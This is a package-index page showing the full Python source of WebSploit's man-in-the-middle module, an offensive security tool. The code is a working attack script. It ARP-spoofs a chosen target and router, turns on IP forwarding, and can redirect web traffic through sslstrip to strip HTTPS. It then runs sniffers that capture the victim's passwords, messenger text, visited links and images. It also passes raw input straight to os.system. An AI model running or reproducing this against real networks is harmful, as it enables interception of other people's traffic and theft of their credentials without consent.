This file is indexed.

/usr/share/websploit/modules/mitm.py is in websploit 3.0.0-1.

This file is owned by root:root, with mode 0o644.

The actual contents of the file can be viewed below.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python
#
# WebSploit Framework Man In The Middle (MITM) module
# Created By 0x0ptim0us (Fardin Allahverdinazhand)
# Email : 0x0ptim0us@Gmail.Com

import os
import subprocess
from core import wcolors
from core import help
from time import sleep
options = ["eth0", "192.168.1.1", "192.168.1.2", "driftnet", "true"]

def mitm():
	try:
		line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
		line_1 += ":"
		line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "MITM" + wcolors.color.ENDC
		line_1 += " > "
		com = raw_input(line_1)
		com = com.lower()
		if com[0:13] =='set interface':
			options[0] = com[14:20]
			print "INTERFACE => ", options[0]
			mitm()
		elif com[0:10]== 'set router':
			options[1] = com [11:26]
			print "ROUTER => ", options[1]
			mitm()
		elif com[0:10] =='set target':
			options[2] = com[11:26]
			print "TARGET => ", options[2]
			mitm()
		elif com[0:18] =='set sniffer dsniff':
			options[3] = 'dsniff'
			print "SNIFFER => ", options[3]
			mitm()
		elif com[0:20] =='set sniffer msgsnarf':
			options[3] = 'msgsnarf'
			print "SNIFFER => ", options[3]
			mitm()
		elif com[0:20] =='set sniffer urlsnarf':
			options[3] = 'urlsnarf'
			print "SNIFFER => ", options[3]
			mitm()
		elif com[0:20] =='set sniffer driftnet':
			options[3] = 'driftnet'
			print "SNIFFER => ", options[3]
			mitm()
		elif com[0:12] =='set ssl true':
			options[4] = 'true'
			print "SSL => ", options[4]
			mitm()
		elif com[0:13] =='set ssl false':
			options[4] = 'false'
			print "SSL => ", options[4]
			mitm()
		elif com[0:12] =='show options':
			print ""
			print "Options\t\t Value\t\t\t\t RQ\t Description"
			print "---------\t--------------\t\t\t----\t--------------"
			print "Interface\t"+options[0]+"\t\t\t\tyes\tNetwork Interface Name"
			print "ROUTER\t\t"+options[1]+"\t\t\tyes\tRouter IP Address"
			print "TARGET\t\t"+options[2]+"\t\t\tyes\tTarget IP Address"
			print "SNIFFER\t\t"+options[3]+"\t\t\tyes\tSniffer Name (Select From Sniffer List)"
			print "SSL\t\t"+options[4]+"\t\t\t\tyes\tSSLStrip, For SSL Hijacking(true or false)"
			print "\n"
			print "Sniffers\t Description"
			print "------------\t--------------"
			print "dsniff\t\t Sniff All Passwords"
			print "msgsnarf\t Sniff All Text Of Victim Messengers"
			print "urlsnarf\t Sniff Victim Links"
			print "driftnet\t Sniff Victim Images"
			print ""
			mitm()
		elif com[0:2] =='os':
			os.system(com[3:])
			mitm()
		elif com[0:4] =='help':
			help.help()
			mitm()
		elif com[0:4] =='back':
			pass
		elif com[0:3] =='run':
			if options[3] =='dsniff':
				selected_sniffer = 'dsniff -i ' + options[0]
			if options[3] =='msgsnarf':
				selected_sniffer = 'msgsnarf -i ' + options[0]
			if options[3] =='urlsnarf':
				selected_sniffer = 'urlsnarf -i ' + options[0]
			if options[3] =='driftnet':
				selected_sniffer = 'driftnet -i ' + options[0]
			sleep(2)
			if options[4] =='true':
				subprocess.Popen('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
				subprocess.Popen('sslstrip -p -k -f', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
			print (wcolors.color.RED + "[*]IP Forwarding ... " + wcolors.color.ENDC)
			subprocess.Popen("echo 1 > /proc/sys/net/ipv4/ip_forward", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
			sleep(2)
			print (wcolors.color.RED + "[*]ARP Spoofing ... " + wcolors.color.ENDC)
			arp_spoofing1 = 'arpspoof -i ' + options[0] + ' -t ' + options[2] +' '+ options[1]
			subprocess.Popen(arp_spoofing1, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
			sleep(2)
			arp_spoofing2 = 'arpspoof -i ' + options[0] + ' -t ' + options[1] +' '+ options[2]
			subprocess.Popen(arp_spoofing2, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
			sleep(2)
			print (wcolors.color.BLUE + "[*]Sniffer Starting ..." + wcolors.color.ENDC)
			os.system(selected_sniffer)
		else:
			print "Wrong Command => ", com
			mitm()
	except(KeyboardInterrupt):
		print(wcolors.color.RED + "\n[*] (Ctrl + C ) Detected, Module Exit" + wcolors.color.ENDC)